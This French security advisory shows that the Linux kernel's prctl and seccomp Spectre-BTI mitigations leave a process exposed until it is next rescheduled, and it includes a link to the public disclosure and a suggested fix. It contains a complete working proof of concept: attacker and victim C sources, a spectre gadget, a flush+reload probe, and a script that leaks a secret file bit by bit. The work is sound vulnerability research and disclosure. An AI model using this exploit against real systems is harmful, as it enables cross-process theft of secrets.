
Analyse technique et preuve de concept démontrant un contournement des mesures d'atténuation de l'espace utilisateur Spectre-BTI du noyau Linux via prctl et seccomp, avec explication au niveau du code et résultats de tests.
José Oliveira (esoj)
Rodrigo Branco (BSDaemon)
Lors des tests du taux de réussite des attaques Spectre-BTI, nous avons détecté un schéma étrange lors de l'utilisation de l'API du noyau comme mitigation1. Nos tests ont révélé que le noyau Linux ne parvient pas à atténuer correctement l'attaque, laissant le processus exposé pendant une courte période après l'appel système.
Des investigations plus approfondies ont montré que le noyau n'émet pas d'IBPB immédiatement pendant l'appel système. La fonction ib_prctl_set2 met à jour les Thread Information Flags (TIF) pour la tâche et met à jour le MSR SPEC_CTRL dans la fonction __speculation_ctrl_update 3, mais l'IBPB n'est émis que lors de la prochaine ordonnancement, lorsque les bits TIF sont vérifiés. Cela laisse la victime vulnérable aux valeurs déjà injectées dans le BTB, avant l'appel système prctl. Le comportement n'est corrigé qu'après une réordonnancement de la tâche. De plus, l'entrée dans le noyau (due à l'appel système lui-même) n'émet pas d'IBPB dans les scénarios par défaut (c'est-à-dire lorsque le noyau se protège via retpoline ou eIBRS).
Exécuter un prctl pour atténuer les attaques spectre-BTI en utilisant :
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
conduit à la fonction ib_prctl_set2 sur le noyau 5.15. Lorsque l'option SPEC_DISABLE est utilisée, le bit TIF pour task_set_spec_ib_disable est défini et task_update_spec_tif est appelé :
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* Indirect branch speculation is always allowed when
* mitigation is force disabled.
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
task_set_spec_ib_disable appelle set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); et si la tâche cible est la tâche courante, elle appelle speculation_ctrl_update_current();
static void task_update_spec_tif(struct task_struct *tsk)
{
/* Force the update of the real TIF bits */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* Immediately update the speculation control MSRs for the current
* task, but for a non-current task delay setting the CPU
* mitigation until it is scheduled next.
*
* This can only happen for SECCOMP mitigation. For PRCTL it's
* always the current task.
*/
if (tsk == current)
speculation_ctrl_update_current();
}
speculation_ctrl_update_current après le wrapper speculation_ctrl_update exécute __speculation_ctrl_update avec tifp = ~tifp, ici la mise à jour du wrmsr pour définir STIBP est exécutée mais aucun IBPB n'est émis :
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* Handle change of TIF_SSBD depending on the mitigation method. */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
L'appel système seccomp utilise également ib_prctl_set2 comme mitigation, à l'intérieur de arch_seccomp_spec_mitigate4, donc le même résultat est attendu avec seccomp.
Bien que l'analyse du code nous rende certains que la fenêtre d'exploitation existe, il n'était pas clair si elle était suffisamment grande pour que la victime charge des secrets et que l'attaquant les divulgue (car les secrets ne devraient pas se trouver dans l'espace d'adressage de la victime avant que l'appel prctl ne soit émis). Les tests ont été exécutés sur une machine physique avec support des mitigations matérielles, avec Ubuntu 22.04.1 LTS installé :
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR is available: YES
* CPU indicates IBRS capability: YES (SPEC_CTRL feature bit)
* Indirect Branch Prediction Barrier (IBPB)
* CPU indicates IBPB capability: YES (SPEC_CTRL feature bit)
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR is available: YES
* CPU indicates STIBP capability: YES (Intel STIBP feature bit)
* Speculative Store Bypass Disable (SSBD)
Le code de test consiste en deux processus s'exécutant sur le même cœur logique. L'attaquant empoisonne constamment le BTB avec l'adresse d'un gadget spectre présent dans un processus victime. La victime mesure le taux de mauvaises prédictions en vérifiant si une variable de test a été accédée par la fonction gadget spectre. Cela renvoie généralement le résultat suivant :
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
Ensuite, PRCTL est utilisé pour atténuer l'attaque. La mitigation peut être activée en ajoutant prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); au début du programme. Cela devrait atténuer l'attaque Spectre-BTI :
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
Cependant, certains tests ont montré un résultat différent :
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
Et la modification de la valeur 'nice' (priorité) semble affecter le taux de mauvaises prédictions :
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)
Cela indique que le prctl n'a protégé le processus qu'après l'ordonnancement suivant, comme compris par l'analyse du code. Un autre comportement étrange de ce test est qu'après une branche incorrecte, le chemin de spéculation devrait être corrigé et la vraie valeur devrait être écrite dans le BTB. Puisqu'il n'y a pas d'autres attaquants sur le thread frère pour ré-empoisonner le BTB, des valeurs de mauvaise prédiction aussi élevées sont inattendues.
Pour garantir qu'il ne s'agissait pas d'une erreur de mesure, nous avons créé une POC simple. Le code victime exécute toujours une safe_function via un pointeur de fonction vulnérable à une attaque Spectre-BTI. La victime demande au noyau de la protéger en utilisant l'appel système prctl (dans protect_me). La victime charge également un secret à partir d'un fichier texte, montrant que d'autres appels système ne vérifient pas non plus le bit TIF ou ne provoquent pas un réordonnancement qui forcerait un IBPB.
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %s\n", argv[1]);
//only call safe_function
codePtr = safe_function;
char secret[20];
char *sharedmem = open_shared_mem();
unsigned idx = string_to_unsigned(argv[1]);
//call for prctl to protect this process
protect_me();
//only then load the secret into memory
load_secret(secret);
for (int i = 0; i < 100; i++)
{
flush((char *)&codePtr);
//this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
//Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
spec(&sharedmem[2000], secret, idx);
}
}
La plupart des fonctions libc ont été placées dans un en-tête commun entre l'attaquant et la victime afin que les fonctions spectre_gadget et spec partagent les mêmes adresses mémoire sur la victime et l'attaquant (sinon une entrée .GOT est créée et les adresses sont modifiées). Ce n'est pas une exigence et il existe d'autres moyens de placer les branches aux mêmes adresses et d'imiter le contexte de la victime, mais cette méthode est plus simple.
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>
char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];
// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}
// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
volatile char d;
if ((secret[idx / 8] >> (idx % 8)) & 1)
d = *addr;
}
// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
asm volatile(
"clflush [%0] \n"
:
: "c"(adrs)
:);
}
// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{
for (register int i = 0; i < 30; i++)
;
codePtr(addr, secret, idx);
}
// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
int fd = open("sharedmem", O_RDONLY);
char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
// ensure page is on memory
volatile char d = res[2100];
return res;
}
// load secret from file
void load_secret(char *secret)
{
FILE *fp = fopen("secret.txt", "r");
fgets(secret, 20, (FILE *)fp);
}
// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
usleep(1000); //not needed but resets the available time on scheduler
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}
// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
return atoi(s);
}
L'attaque consiste à empoisonner le BTB en appelant la fonction spec et en la faisant bifurquer vers spectre_gadget au lieu de safe_function. Après l'entraînement, le processus victime est créé et exécute spec qui prédit mal vers spectre_gadget qui ne devrait jamais être exécuté. Le secret est divulgué via un canal auxiliaire classique flush+reload.
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
#define PRINTNUM 1000
unsigned probe(char *adrs)
{
volatile unsigned long time;
asm __volatile__(
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" mov esi, eax \n"
" mov eax,[%1] \n"
" lfence \n"
" rdtsc \n"
" sub eax, esi \n"
" clflush [%1] \n"
" mfence \n"
" lfence \n"
: "=a"(time)
: "c"(adrs)
: "%esi", "%edx");
return time;
}
int main(int argc, char *argv[])
{
//Make spec function confuse safe_function with spectre_gadget
codePtr = spectre_gadget;
char dummy;
int hits = 0;
int tries = 0;
char *sharedmem = open_shared_mem();
setvbuf(stdout, NULL, _IONBF, 0);
while (1)
{
//Inject the target in the BTB
spec(&dummy, &dummy, 0);
//Allow for victim to execute and misspredict to spectre_gadget
usleep(1);
//probe the 1-bit flush+reload side channel
if (probe((char *)&sharedmem[2000]) < 0x90)
{
printf("+");
}
}
}
Puisque la victime reçoit un argument qui peut être utilisé pour choisir le bit à divulguer via le canal auxiliaire, nous pouvons exécuter le processus victime plusieurs fois pendant que l'attaquant s'exécute :
taskset -c 0 ./attacker >> result.txt &
for i in {0..144}
do
echo "Leaking bit $i... "
echo -e -n "Leaking bit $i: " >> result.txt
sleep .01
for j in {0..10}
do
taskset -c 0 ./victim $i >/dev/null
done
echo "" >> result.txt
done
python3 parseResult.py
make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)
Cela laisse le fichier texte suivant :
Leaking bit 0: +++++++++++
Leaking bit 1:
Leaking bit 2:
Leaking bit 3:
Leaking bit 4:
Leaking bit 5:
Leaking bit 6: ++++++++++
Leaking bit 7:
Leaking bit 8: ++++++++
[...]
Notez que les bits 0 et 6 sont à 1, donc le premier caractère doit être 0x41 (A).
L'analyse du fichier avec un simple script Python montre :
The secret leaked is: b'Asuper_secret_flag'
Ce qui correspond exactement au contenu présent dans secret.txt utilisé par la victime.
Remplacer l'appel prctl par seccomp avec syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0); après le chargement du secret n'empêche pas l'attaque. Ceci est attendu puisque, en interne, les deux utilisent la même fonction ib_prctl_set pour implémenter la mitigation.
L'implémentation actuelle de l'appel système prctl pour le contrôle spéculatif ne parvient pas à protéger l'utilisateur contre les attaquants s'exécutant avant la mitigation. La mitigation seccomp échoue également dans ce scénario.
Pour les applications en mode utilisateur, un usleep après l'appel prctl suffit pour forcer un réordonnancement et garantir la mitigation correcte. Un correctif possible du noyau pour cette attaque est d'émettre l'IBPB en même temps que le STIBP est défini, dans __speculation_ctrl_update 3 ou d'appeler schedule().
27 décembre 2022 - Comportement inattendu de prctl détecté
29 décembre 2022 - Première version de ce document
31 décembre 2022 - Partagé avec l'équipe de sécurité du noyau Linux
2 février 2023 - Rapport divulgué publiquement : https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8
“The Linux kernel user-space API guide: Speculation Control”. Lien : https://docs.kernel.org/userspace-api/spec_ctrl.html ↩
"Code source Linux" Lien : [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467) ↩ ↩2 ↩3
"Code source Linux" Lien : [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557) ↩ ↩2
"Code source Linux" Lien : [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616) ↩